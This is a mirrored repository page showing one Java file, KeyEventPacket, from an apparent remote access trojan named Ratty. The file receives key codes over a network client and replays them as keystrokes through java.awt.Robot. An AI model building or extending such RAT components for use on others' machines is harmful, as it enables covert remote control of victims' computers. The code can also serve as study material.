mirror of https://github.com/LucaBongiorni/Ratty
You can not select more than 25 topics
Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
52 lines
1.0 KiB
52 lines
1.0 KiB
package de.sogomn.rat;
|
|
|
|
import java.awt.AWTException;
|
|
import java.awt.Robot;
|
|
import java.awt.event.KeyEvent;
|
|
|
|
public final class KeyEventPacket implements IPacket {
|
|
|
|
private int key;
|
|
private boolean flag;
|
|
|
|
public KeyEventPacket() {
|
|
key = KeyEvent.VK_UNDEFINED;
|
|
}
|
|
|
|
public KeyEventPacket(final int key, final boolean flag) {
|
|
this.key = key;
|
|
this.flag = flag;
|
|
}
|
|
|
|
@Override
|
|
public void send(final ActiveClient client) {
|
|
final byte flagByte = (byte)(flag ? 1 : 0);
|
|
|
|
client.writeInt(key);
|
|
client.writeByte(flagByte);
|
|
}
|
|
|
|
@Override
|
|
public void receive(final ActiveClient client) {
|
|
key = client.readInt();
|
|
flag = client.readByte() == 1;
|
|
}
|
|
|
|
@Override
|
|
public void execute() {
|
|
try {
|
|
final Robot rob = new Robot();
|
|
|
|
if (flag) {
|
|
rob.keyPress(key);
|
|
} else {
|
|
rob.keyRelease(key);
|
|
}
|
|
} catch (final IllegalArgumentException ex) {
|
|
System.err.println("No valid key code");
|
|
} catch (final AWTException ex) {
|
|
ex.printStackTrace();
|
|
}
|
|
}
|
|
|
|
}
|